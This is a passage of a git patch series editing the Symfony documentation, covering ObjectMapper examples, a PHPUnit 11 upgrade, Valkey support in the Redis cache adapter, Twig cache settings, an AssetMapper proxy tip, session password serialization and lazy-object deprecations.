         #[Map(source: 'price_amount')]
         public float $price = 0.0;
     }
 
-    // Usage:
+Using it in practice::
+
     $payload = new Payload();
     $payload->product_name = 'Super Widget';
     $payload->price_amount = 123.45;
 
     $mapper = new ObjectMapper();
-    // Map *from* the payload *to* the Product class
+    // map from the payload to the Product class
     $product = $mapper->map($payload, Product::class);
 
     // $product->name = 'Super Widget'
     // $product->price = 123.45
 
-When using ``source`` mapping, the ``ObjectMapper`` detects this configuration if
-the source object itself doesn't have ``#[Map]`` attributes pointing outwards. It
-then reads the ``#[Map(source: ...)]`` attributes from the target class instead.
+When using source-based mapping, the ``ObjectMapper`` will automatically use the
+target's ``#[Map(source: ...)]`` attributes if no mapping is defined on the
+source class.
 
 Handling Recursion
 ------------------
 
-The ObjectMapper automatically handles recursive relationships. If an object graph
-contains cycles (e.g., a ``User`` has a ``manager`` which is another ``User``,
-who might manage the first user), the mapper will reuse the already mapped target
-instances to avoid infinite loops.
-
-::
+The ObjectMapper automatically detects and handles recursive relationships between
+objects (e.g., a ``User`` has a ``manager`` which is another ``User``, who might
+manage the first user). When it encounters previously mapped objects in the graph,
+it reuses the corresponding target instances to prevent infinite loops::
 
     // src/Entity/User.php
     namespace App\Entity;
+
     use App\Dto\UserDto;
     use Symfony\Component\ObjectMapper\Attribute\Map;
 
     #[Map(target: UserDto::class)]
-    class User {
+    class User
+    {
         public string $name = '';
         public ?User $manager = null;
     }
 
-::
+The target DTO object defines the ``User`` class as its source and the
+ObjectMapper component detects the cyclic reference::
 
     // src/Dto/UserDto.php
     namespace App\Dto;
+
     use Symfony\Component\ObjectMapper\Attribute\Map;
 
-    #[Map(source: \App\Entity\User::class)] // Can also define mapping here
-    class UserDto {
+    #[Map(source: \App\Entity\User::class)] // can also define mapping here
+    class UserDto
+    {
         public string $name = '';
         public ?UserDto $manager = null;
     }
 
-    // Usage:
+Using it in practice::
+
     $manager = new User();
     $manager->name = 'Alice';
     $employee = new User();
     $employee->name = 'Bob';
     $employee->manager = $manager;
-    // Manager's manager is the employee:
+    // manager's manager is the employee:
     $manager->manager = $employee;
 
     $mapper = new ObjectMapper();
     $employeeDto = $mapper->map($employee, UserDto::class);
 
-    // Recursion is handled correctly:
+    // recursion is handled correctly:
     // $employeeDto->name === 'Bob'
     // $employeeDto->manager->name === 'Alice'
     // $employeeDto->manager->manager === $employeeDto
 
-Custom Mapping Logic (MapStruct-like Approach)
-----------------------------------------------
+.. _objectmapper-custom-mapping-logic:
+
+Custom Mapping Logic
+--------------------
 
 For very complex mapping scenarios or if you prefer separating mapping rules from
 your DTOs/Entities, you can implement a custom mapping strategy using the
 :class:`Symfony\\Component\\ObjectMapper\\Metadata\\ObjectMapperMetadataFactoryInterface`.
-This allows defining mapping rules within dedicated "mapper" services, similar
+This allows defining mapping rules within dedicated mapper services, similar
 to the approach used by libraries like MapStruct in the Java ecosystem.
 
 First, create your custom metadata factory. The following example reads mapping
-rules defined via ``#[Map]`` attributes on a dedicated mapper *service* class,
+rules defined via ``#[Map]`` attributes on a dedicated mapper service class,
 specifically on its ``map`` method for property mappings and on the class itself
-for the source-to-target relationship:
-
-::
+for the source-to-target relationship::
 
     namespace App\ObjectMapper\Metadata;
 
@@ -631,18 +640,18 @@ for the source-to-target relationship:
             $mapConfigs = [];
             $sourceIdentifier = $property ?? $object::class;
 
-            // Read attributes from the map method (for property mapping) or the class (for class mapping)
+            // read attributes from the map method (for property mapping) or the class (for class mapping)
             $attributesSource = $property ? $refl->getMethod('map') : $refl;
             foreach ($attributesSource->getAttributes(Map::class, \ReflectionAttribute::IS_INSTANCEOF) as $attribute) {
                 $map = $attribute->newInstance();
 
-                // Check if the attribute's source matches the current property or source class
+                // check if the attribute's source matches the current property or source class
                 if ($map->source === $sourceIdentifier) {
                     $mapConfigs[] = new Mapping($map->target, $map->source, $map->if, $map->transform);
                 }
             }
 
-            // If it's a property lookup and no specific mapping was found, map to the same property
+            // if it's a property lookup and no specific mapping was found, map to the same property
             if ($property && empty($mapConfigs)) {
                 $mapConfigs[] = new Mapping(target: $property, source: $property);
             }
@@ -651,13 +660,10 @@ for the source-to-target relationship:
         }
     }
 
-Next, define your mapper service class. This class implements
-``ObjectMapperInterface`` but typically delegates the actual mapping back to a
-standard ``ObjectMapper`` instance configured with the custom metadata factory.
-Mapping rules are defined using ``#[Map]`` attributes on this class and its
-``map`` method:
-
-::
+Next, define your mapper service class. This class implements ``ObjectMapperInterface``
+but typically delegates the actual mapping back to a standard ``ObjectMapper``
+instance configured with the custom metadata factory. Mapping rules are defined
+using ``#[Map]`` attributes on this class and its ``map`` method::
 
     namespace App\ObjectMapper;
 
@@ -668,62 +674,65 @@ Mapping rules are defined using ``#[Map]`` attributes on this class and its
     use Symfony\Component\ObjectMapper\ObjectMapper;
     use Symfony\Component\ObjectMapper\ObjectMapperInterface;
 
-    // Define the source-to-target mapping at the class level
+    // define the source-to-target mapping at the class level
     #[Map(source: LegacyUser::class, target: UserDto::class)]
     class LegacyUserMapper implements ObjectMapperInterface
     {
         private readonly ObjectMapperInterface $objectMapper;
 
-        // Inject the standard ObjectMapper or necessary dependencies
+        // inject the standard ObjectMapper or necessary dependencies
         public function __construct(?ObjectMapperInterface $objectMapper = null)
         {
-            // Create an ObjectMapper instance configured with *this* mapper's rules
+            // create an ObjectMapper instance configured with *this* mapper's rules
             $metadataFactory = new MapStructMapperMetadataFactory(self::class);
             $this->objectMapper = $objectMapper ?? new ObjectMapper($metadataFactory);
         }
 
-        // Define property-specific mapping rules on the map method
+        // define property-specific mapping rules on the map method
         #[Map(source: 'fullName', target: 'name')] // Map LegacyUser::fullName to UserDto::name
         #[Map(source: 'creationTimestamp', target: 'registeredAt', transform: [\DateTimeImmutable::class, 'createFromFormat'])]
         #[Map(source: 'status', if: false)] // Ignore the 'status' property from LegacyUser
         public function map(object $source, object|string|null $target = null): object
         {
-            // Delegate the actual mapping to the configured ObjectMapper
+            // delegate the actual mapping to the configured ObjectMapper
             return $this->objectMapper->map($source, $target);
         }
     }
 
-Finally, use your custom mapper service:
-
-::
+Finally, use your custom mapper service::
 
     use App\Dto\LegacyUser;
     use App\ObjectMapper\LegacyUserMapper;
 
     $legacyUser = new LegacyUser();
     $legacyUser->fullName = 'Jane Doe';
-    $legacyUser->status = 'active'; // This will be ignored
+    $legacyUser->status = 'active'; // this will be ignored
 
-    // Instantiate your custom mapper service
+    // instantiate your custom mapper service
     $mapperService = new LegacyUserMapper();
 
-    // Use the map method of your service
+    // use the map method of your service
     $userDto = $mapperService->map($legacyUser); // Target (UserDto) is inferred from #[Map] on LegacyUserMapper
 
-This approach keeps mapping logic centralized within dedicated services, which
-can be beneficial for complex applications or when adhering to specific architectural
-patterns.
+This approach keeps mapping logic centralized within dedicated services, which can
+be beneficial for complex applications or when adhering to specific architectural patterns.
 
 Advanced Configuration
 ----------------------
 
-The ``ObjectMapper`` constructor accepts optional arguments for further customization:
-
-* ``ObjectMapperMetadataFactoryInterface $metadataFactory``: Allows providing a custom metadata factory, as shown in the MapStruct example. Defaults to :class:`Symfony\\Component\\ObjectMapper\\Metadata\\ReflectionObjectMapperMetadataFactory`, which reads ``#[Map]`` attributes directly from source/target classes.
-* ``?PropertyAccessorInterface $propertyAccessor``: An instance of the PropertyAccess component to customize how properties are read from the source and written to the target. Useful for accessing private properties or using getters/setters.
-* ``?ContainerInterface $transformCallableLocator``: A PSR-11 container (service locator) used to resolve service IDs provided in the ``transform`` option of ``#[Map]``.
-* ``?ContainerInterface $conditionCallableLocator``: A PSR-11 container used to resolve service IDs provided in the ``if`` option of ``#[Map]``.
-
-When using the ``ObjectMapperInterface`` service provided by the Symfony framework,
-these dependencies (like the property accessor and service locators for callables)
-are typically configured automatically via the service container.
+The ``ObjectMapper`` constructor accepts optional arguments for advanced usage:
+
+* ``ObjectMapperMetadataFactoryInterface $metadataFactory``: Allows custom metadata
+  factories, such as the one shown in :ref:`the MapStruct-like example <objectmapper-custom-mapping-logic>`.
+  The default is :class:`Symfony\\Component\\ObjectMapper\\Metadata\\ReflectionObjectMapperMetadataFactory`,
+  which uses ``#[Map]`` attributes from source and target classes.
+* ``?PropertyAccessorInterface $propertyAccessor``: Lets you customize how
+  properties are read and written to the target object, useful for accessing
+  private properties or using getters/setters.
+* ``?ContainerInterface $transformCallableLocator``: A PSR-11 container (service locator)
+  that resolves service IDs referenced by the ``transform`` option in ``#[Map]``.
+* ``?ContainerInterface $conditionCallableLocator``: A PSR-11 container for resolving
+  service IDs used in ``if`` conditions within ``#[Map]``.
+
+These dependencies are automatically configured when you use the
+``ObjectMapperInterface`` service provided by Symfony.

From d371dcb3e3d94d13c4ace077bfaf359894aa3c1c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 1 May 2025 14:24:54 +0200
Subject: [PATCH 6962/7107] Use phpunit 11 in Create Framework tutorial

---
 create_framework/unit_testing.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index f935a024b20..9c179cd3152 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -12,7 +12,7 @@ using `PHPUnit`_. At first, install PHPUnit as a development dependency:
 
 .. code-block:: terminal
 
-    $ composer require --dev phpunit/phpunit:^10.0
+    $ composer require --dev phpunit/phpunit:^11.0
 
 Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
 
@@ -21,7 +21,7 @@ Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
     <?xml version="1.0" encoding="UTF-8"?>
     <phpunit
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/10.0/phpunit.xsd"
+        xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/11.0/phpunit.xsd"
         backupGlobals="false"
         colors="true"
         bootstrap="vendor/autoload.php"
@@ -212,6 +212,6 @@ Symfony code.
 Now that we are confident (again) about the code we have written, we can
 safely think about the next batch of features we want to add to our framework.
 
-.. _`PHPUnit`: https://docs.phpunit.de/en/10.0/
-.. _`test doubles`: https://docs.phpunit.de/en/10.0/test-doubles.html
+.. _`PHPUnit`: https://docs.phpunit.de/en/11.0/
+.. _`test doubles`: https://docs.phpunit.de/en/11.0/test-doubles.html
 .. _`XDebug`: https://xdebug.org/

From 280cd5a506ee06549d8e072f806208a56dd30d73 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Sun, 11 May 2025 18:15:53 +0200
Subject: [PATCH 6963/7107] [Cache] Mention Valkey is Redis

---
 components/cache/adapters/redis_adapter.rst | 6 ++++++
 configuration/secrets.rst                   | 2 +-
 2 files changed, 7 insertions(+), 1 deletion(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 3362f4cc2db..e029b51b0d3 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -21,6 +21,11 @@ to utilize a cluster of servers to provide redundancy and/or fail-over is also a
     adapter. Additionally, this adapter requires a compatible extension or library that implements
     ``\Redis``, ``\RedisArray``, ``RedisCluster``, ``\Relay\Relay`` or ``\Predis``.
 
+.. note::
+
+   This adapter also works with `Valkey`_ servers and as of Symfony 7.3, you can use the ``valkey[s]:`` schemes
+   instead of the ``redis[s]:`` ones in your DSNs.
+
 This adapter expects a `Redis`_, `RedisArray`_, `RedisCluster`_, `Relay`_ or `Predis`_ instance to be
 passed as the first parameter. A namespace and default cache lifetime can optionally be passed
 as the second and third parameters::
@@ -348,6 +353,7 @@ Supports key rotation, ensuring secure decryption with both old and new keys::
 
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
+.. _`Valkey`: https://valkey.io/
 .. _`Redis`: https://github.com/phpredis/phpredis
 .. _`RedisArray`: https://github.com/phpredis/phpredis/blob/develop/arrays.md
 .. _`RedisCluster`: https://github.com/phpredis/phpredis/blob/develop/cluster.md
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index f717456a22c..285b89d521e 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -311,7 +311,7 @@ The secrets system is enabled by default and some of its behavior can be configu
                 xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
                     http://symfony.com/schema/dic/framework https://symfony.com/schema/dic/framework/framework-1.0.xsd"
             >
-                <framework:config secret="%env(APP_SECRET)%">
+                <framework:config>
                     <framework:secrets
                         vault_directory="%kernel.project_dir%/config/secrets/%kernel.environment%"
                         local_dotenv_file="%kernel.project_dir%/.env.%kernel.environment%.local"

From 8c5f22b3e69142381f9d84dfb4adafab46eb8c1e Mon Sep 17 00:00:00 2001
From: Quentin Devos <4972091+Okhoshi@users.noreply.github.com>
Date: Sat, 10 May 2025 13:25:03 +0200
Subject: [PATCH 6964/7107] [TwigBundle] Describe the new behaviour of
 twig.cache config

Signed-off-by: Quentin Devos <4972091+Okhoshi@users.noreply.github.com>
---
 reference/configuration/twig.rst | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 3c4dc1b30ac..13d0463970a 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -71,7 +71,7 @@ application harder to maintain.
 cache
 ~~~~~
 
-**type**: ``string`` | ``false`` **default**: ``%kernel.cache_dir%/twig``
+**type**: ``string`` | ``boolean`` **default**: ``true``
 
 Before using the Twig templates to render some contents, they are compiled into
 regular PHP code. Compilation is a costly process, so the result is cached in
@@ -82,6 +82,16 @@ is not recommended; not even in the ``dev`` environment, because the
 ``auto_reload`` option ensures that cached templates which have changed get
 compiled again.
 
+Specify the path where the cache should be stored. If set to ``true``, the cache
+defaults to ``%kernel.cache_dir%/twig``. However, if the ``auto_reload`` option is
+disabled and ``%kernel.build_dir%`` is different from ``%kernel.cache_dir%``,
+the cache will instead be stored in ``%kernel.build_dir%/twig``.
+
+.. versionadded:: 7.3
+
+    Support for ``true`` value was added in Symfony 7.3, and it became the default
+    value for this option instead of ``%kernel.cache_dir%/twig``.
+
 charset
 ~~~~~~~
 

From 0ba6600aca5f21dddaeb8d3c68188de10c770b12 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 May 2025 08:06:02 +0200
Subject: [PATCH 6965/7107] Minor tweak

---
 components/cache/adapters/redis_adapter.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index e029b51b0d3..0d099bf66e8 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -8,7 +8,8 @@ Redis Cache Adapter
     :ref:`Symfony Cache configuration <cache-configuration-with-frameworkbundle>`
     article if you are using it in a Symfony application.
 
-This adapter stores the values in-memory using one (or more) `Redis server`_ instances.
+This adapter stores the values in-memory using one (or more) `Redis server`_
+of `Valkey`_ server instances.
 
 Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and similarly to the
 :doc:`Memcached adapter </components/cache/adapters/memcached_adapter>`, it is not limited to the current server's
@@ -21,11 +22,6 @@ to utilize a cluster of servers to provide redundancy and/or fail-over is also a
     adapter. Additionally, this adapter requires a compatible extension or library that implements
     ``\Redis``, ``\RedisArray``, ``RedisCluster``, ``\Relay\Relay`` or ``\Predis``.
 
-.. note::
-
-   This adapter also works with `Valkey`_ servers and as of Symfony 7.3, you can use the ``valkey[s]:`` schemes
-   instead of the ``redis[s]:`` ones in your DSNs.
-
 This adapter expects a `Redis`_, `RedisArray`_, `RedisCluster`_, `Relay`_ or `Predis`_ instance to be
 passed as the first parameter. A namespace and default cache lifetime can optionally be passed
 as the second and third parameters::
@@ -66,6 +62,11 @@ helper method allows creating and configuring the Redis client class instance us
         'redis://localhost'
     );
 
+.. versionadded:: 7.3
+
+    Starting in Symfony 7.3, when using Valkey servers you can use the
+    ``valkey[s]:`` scheme instead of the ``redis[s]:`` one in your DSNs.
+
 The DSN can specify either an IP/host (and an optional port) or a socket path, as well as a
 password and a database index. To enable TLS for connections, the scheme ``redis`` must be
 replaced by ``rediss`` (the second ``s`` means "secure").

From fcf4ecbd598f66748ee16bd108ee013a444ea285 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 May 2025 08:30:12 +0200
Subject: [PATCH 6966/7107] Minor reword

---
 reference/configuration/twig.rst | 21 +++++++++++----------
 1 file changed, 11 insertions(+), 10 deletions(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 13d0463970a..360309fef8f 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -77,20 +77,21 @@ Before using the Twig templates to render some contents, they are compiled into
 regular PHP code. Compilation is a costly process, so the result is cached in
 the directory defined by this configuration option.
 
-Set this option to ``false`` to disable Twig template compilation. However, this
-is not recommended; not even in the ``dev`` environment, because the
-``auto_reload`` option ensures that cached templates which have changed get
-compiled again.
+You can either specify a custom path where the cache should be stored (as a
+string) or use ``true`` to let Symfony decide the default path. When set to
+``true``, the cache is stored in ``%kernel.cache_dir%/twig`` by default. However,
+if ``auto_reload`` is disabled and ``%kernel.build_dir%`` differs from
+``%kernel.cache_dir%``, the cache will be stored in ``%kernel.build_dir%/twig`` instead.
 
-Specify the path where the cache should be stored. If set to ``true``, the cache
-defaults to ``%kernel.cache_dir%/twig``. However, if the ``auto_reload`` option is
-disabled and ``%kernel.build_dir%`` is different from ``%kernel.cache_dir%``,
-the cache will instead be stored in ``%kernel.build_dir%/twig``.
+Set this option to ``false`` to disable Twig template compilation. However, this
+is not recommended, not even in the ``dev`` environment, because the ``auto_reload``
+option ensures that cached templates which have changed get compiled again.
 
 .. versionadded:: 7.3
 
-    Support for ``true`` value was added in Symfony 7.3, and it became the default
-    value for this option instead of ``%kernel.cache_dir%/twig``.
+    Support for using ``true`` as a value was introduced in Symfony 7.3. It also
+    became the default value for this option, replacing the explicit path
+    ``%kernel.cache_dir%/twig``.
 
 charset
 ~~~~~~~

From 88b4a70dc2c3cd498f7bd69c1511eb9232cda1e8 Mon Sep 17 00:00:00 2001
From: Anton <info@ensostudio.ru>
Date: Sat, 10 May 2025 10:53:28 +0300
Subject: [PATCH 6967/7107] Update asset_mapper.rst

Adds tip about configuration proxy when connection to jsDelivr is failed
---
 frontend/asset_mapper.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 061c4598bfa..a3c4eda2d84 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -225,6 +225,25 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
     `package.json configuration file`_. Try to contact the package maintainer to
     ask them to fix those issues.
 
+.. tip::
+
+    If you get a error like as ``Connection was reset for "https://cdn.jsdelivr.net/npm/...".``,
+    than you can temporaly configure the proxy for connection to the ``jsDelivr`` CDN:
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            http_client:
+                default_options:
+                    proxy: '185.250.180.238:8080'
+                    # If you use CURL, add extra options:
+                    extra:
+                        curl:
+                            # 61 is value of constant CURLOPT_HTTPPROXYTUNNEL
+                            '61': true
+
 Now you can import the ``bootstrap`` package like usual:
 
 .. code-block:: javascript

From 621b57b99e822f049e8af80240f5525ef665cfa7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 May 2025 09:15:23 +0200
Subject: [PATCH 6968/7107] Minor tweak

---
 frontend/asset_mapper.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index a3c4eda2d84..94362b217ef 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -227,8 +227,9 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
 
 .. tip::
 
-    If you get a error like as ``Connection was reset for "https://cdn.jsdelivr.net/npm/...".``,
-    than you can temporaly configure the proxy for connection to the ``jsDelivr`` CDN:
+    If you see a network error like *Connection was reset for "https://cdn.jsdelivr.net/npm/..."*,
+    it may be caused by a proxy or firewall restriction. In that case, you can
+    temporarily configure a proxy to connect to the ``jsDelivr`` CDN:
 
     .. code-block:: yaml
 
@@ -238,7 +239,7 @@ This adds the ``bootstrap`` package to your ``importmap.php`` file::
             http_client:
                 default_options:
                     proxy: '185.250.180.238:8080'
-                    # If you use CURL, add extra options:
+                    # if you use CURL, add extra options:
                     extra:
                         curl:
                             # 61 is value of constant CURLOPT_HTTPPROXYTUNNEL

From ca203cfe621fac81b29b3a7f256f14bfbaaa29b7 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Mon, 12 May 2025 10:39:13 +0200
Subject: [PATCH 6969/7107] [Security] Tell about erasing credentials when the
 user is stored in the session

---
 reference/configuration/security.rst |  5 ++++
 security.rst                         | 35 +++++++++++++++++++++-------
 2 files changed, 31 insertions(+), 9 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 6f4fcd8db33..72970a845d8 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -53,6 +53,11 @@ erase_credentials
 If ``true``, the ``eraseCredentials()`` method of the user object is called
 after authentication.
 
+.. deprecated:: 7.3
+
+   Since Symfony 7.3, ``eraseCredentials()`` methods are deprecated and are
+   not called if they have the ``#[\Deprecated]`` attribute.
+
 hide_user_not_found
 -------------------
 
diff --git a/security.rst b/security.rst
index 847f90a1e2c..36b56e115ee 100644
--- a/security.rst
+++ b/security.rst
@@ -193,14 +193,7 @@ from the `MakerBundle`_:
             return $this;
         }
 
-        /**
-         * @see UserInterface
-         */
-        public function eraseCredentials(): void
-        {
-            // If you store any temporary, sensitive data on the user, clear it here
-            // $this->plainPassword = null;
-        }
+        // [...]
     }
 
 .. tip::
@@ -2786,7 +2779,31 @@ object) are "compared" to see if they are "equal". By default, the core
 your user will be logged out. This is a security measure to make sure that malicious
 users can be de-authenticated if core user data changes.
 
-However, in some cases, this process can cause unexpected authentication problems.
+Note that storing the (plain or hashed) password in the session storage can be seen
+as a security risk. In order to address this risk, the ``__serialize()`` magic method
+can be implemented on the user class to filter out the password before storing the
+serialized user object in the session.
+Two strategies are supported while serializing:
+
+#. Removing the password entirely. In this case, ``getPassword()`` will return ``null``
+   after unserialization and Symfony will refresh the user without checking the
+   password. Use this strategy if you store plaintext passwords (not recommended.)
+#. Hashing the password using the ``crc32c`` algorithm. In this case Symfony will
+   compare the password of the refreshed user after crc32c-hashing it. This is a good
+   strategy if you use hashed passwords since it allows invalidating concurrent
+   sessions when a password changes without storing the password hash in the session.
+
+   Here is an example of how to implement this, assuming the password is found in a
+   private property named ``password``::
+
+       public function __serialize(): array
+       {
+           $data = (array) $this;
+           $data["\0".self::class."\0password"] = hash('crc32c', $this->password);
+
+           return $data;
+       }
+
 If you're having problems authenticating, it could be that you *are* authenticating
 successfully, but you immediately lose authentication after the first redirect.
 

From 51200b2758387d9ef9ef6d689f3e750e3881fbf8 Mon Sep 17 00:00:00 2001
From: Maxime Pinot <contact@maximepinot.com>
Date: Mon, 12 May 2025 11:08:17 +0200
Subject: [PATCH 6970/7107] [Security] [Best practices] Remove mention of
 `anonymous`

---
 best_practices.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 2c393cae9c6..b887d4d289a 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -362,10 +362,6 @@ Unless you have two legitimately different authentication systems and users
 (e.g. form login for the main site and a token system for your API only), it's
 recommended to have only one firewall to keep things simple.
 
-Additionally, you should use the ``anonymous`` key under your firewall. If you
-require users to be logged in for different sections of your site, use the
-:doc:`access_control </security/access_control>` option.
-
 Use the ``auto`` Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 33bd9a8976e2b25fa909a16695a0dcb5ab9cefd4 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Mon, 12 May 2025 12:14:44 +0200
Subject: [PATCH 6971/7107] Update doc about lazy objects

---
 components/var_exporter.rst         | 42 +++++++++++++++++++++++++++--
 service_container/lazy_services.rst |  8 ------
 2 files changed, 40 insertions(+), 10 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index fc6b34868db..dc83763d579 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -177,8 +177,34 @@ populated by using the special ``"\0"`` property name to define their internal v
         "\0" => [$inputArray],
     ]);
 
-Creating Lazy Objects
----------------------
+Creating Lazy Objects on PHP ≥ 8.4
+----------------------------------
+
+Since version 8.4, PHP provides support for lazy objects via the reflection API.
+This native API works with concrete classes. It doesn't with abstracts nor with
+internal ones.
+
+This components provides helpers to generate lazy objects using the decorator
+pattern, which works with abstract or internal classes and with interfaces::
+
+    $proxyCode = ProxyHelper::generateLazyProxy(new \ReflectionClass(SomeInterface::class));
+    // $proxyCode should be dumped into a file in production envs
+    eval('class ProxyDecorator'.$proxyCode);
+
+    $proxy = ProxyDecorator::createLazyProxy(initializer: function (): SomeInterface {
+        // [...] Use whatever heavy logic you need here
+        // to compute the $dependencies of the proxied class
+        $instance = new SomeHeavyClass(...$dependencies);
+        // [...] Call setters, etc. if needed
+
+        return $instance;
+    });
+
+Use this mechanism only when native lazy objects cannot be leveraged
+(or you'll get a deprecation notice.)
+
+Creating Lazy Objects on PHP < 8.3
+----------------------------------
 
 Lazy-objects are objects instantiated empty and populated on-demand. This is
 particularly useful when you have for example properties in your classes that
@@ -193,6 +219,12 @@ you implement such mechanism easily in your classes.
 LazyGhostTrait
 ~~~~~~~~~~~~~~
 
+.. deprecated:: 7.3
+
+   ``LazyGhostTrait`` is deprecated since Symfony 7.3; use PHP 8.4's native lazy
+   objects instead (note that using the trait with PHP < 8.4 triggers no deprecation
+   to help with the transition.)
+
 Ghost objects are empty objects, which see their properties populated the first
 time any method is called. Thanks to :class:`Symfony\\Component\\VarExporter\\LazyGhostTrait`,
 the implementation of the lazy mechanism is eased. The ``MyLazyObject::populateHash()``
@@ -273,6 +305,12 @@ of :ref:`Virtual Proxies <var-exporter_virtual-proxies>`.
 LazyProxyTrait
 ~~~~~~~~~~~~~~
 
+.. deprecated:: 7.3
+
+   ``LazyProxyTrait`` is deprecated since Symfony 7.3; use PHP 8.4's native lazy
+   objects instead (note that using the trait with PHP < 8.4 triggers no deprecation
+   to help with the transition.)
+
 The purpose of virtual proxies in the same one as
 :ref:`ghost objects <var-exporter_ghost-objects>`, but their internal behavior is
 totally different. Where ghost objects requires to extend a base class, virtual
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 23d76a4cfbf..abb3c2cca7f 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -26,9 +26,6 @@ until you interact with the proxy in some way.
     Lazy services do not support `final`_ or ``readonly`` classes, but you can use
     `Interface Proxifying`_ to work around this limitation.
 
-    In PHP versions prior to 8.0 lazy services do not support parameters with
-    default values for built-in PHP classes (e.g. ``PDO``).
-
 .. _lazy-services_configuration:
 
 Configuration
@@ -78,11 +75,6 @@ same signature of the class representing the service should be injected. A lazy
 itself when being accessed for the first time). The same happens when calling
 ``Container::get()`` directly.
 
-To check if your lazy service works you can check the interface of the received object::
-
-    dump(class_implements($service));
-    // the output should include "Symfony\Component\VarExporter\LazyObjectInterface"
-
 You can also configure your service's laziness thanks to the
 :class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autoconfigure` attribute.
 For example, to define your service as lazy use the following::

From 8459dff249cf3e83ad19957a9bf9664e0e7411e2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 12 May 2025 15:42:25 +0200
Subject: [PATCH 6972/7107] Minor tweaks

---
 reference/configuration/security.rst | 15 +++++++++++-
 security.rst                         | 36 +++++++++++++++-------------
 2 files changed, 34 insertions(+), 17 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 72970a845d8..c8609c20c9c 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -51,7 +51,20 @@ erase_credentials
 **type**: ``boolean`` **default**: ``true``
 
 If ``true``, the ``eraseCredentials()`` method of the user object is called
-after authentication.
+after authentication::
+
+    use Symfony\Component\Security\Core\User\UserInterface;
+
+    class User implements UserInterface
+    {
+        // ...
+
+        public function eraseCredentials(): void
+        {
+            // If you store any temporary, sensitive data on the user, clear it here
+            // $this->plainPassword = null;
+        }
+    }
 
 .. deprecated:: 7.3
 
diff --git a/security.rst b/security.rst
index 36b56e115ee..82f26957f02 100644
--- a/security.rst
+++ b/security.rst
@@ -2779,22 +2779,21 @@ object) are "compared" to see if they are "equal". By default, the core
 your user will be logged out. This is a security measure to make sure that malicious
 users can be de-authenticated if core user data changes.
 
-Note that storing the (plain or hashed) password in the session storage can be seen
-as a security risk. In order to address this risk, the ``__serialize()`` magic method
-can be implemented on the user class to filter out the password before storing the
-serialized user object in the session.
-Two strategies are supported while serializing:
-
-#. Removing the password entirely. In this case, ``getPassword()`` will return ``null``
-   after unserialization and Symfony will refresh the user without checking the
-   password. Use this strategy if you store plaintext passwords (not recommended.)
-#. Hashing the password using the ``crc32c`` algorithm. In this case Symfony will
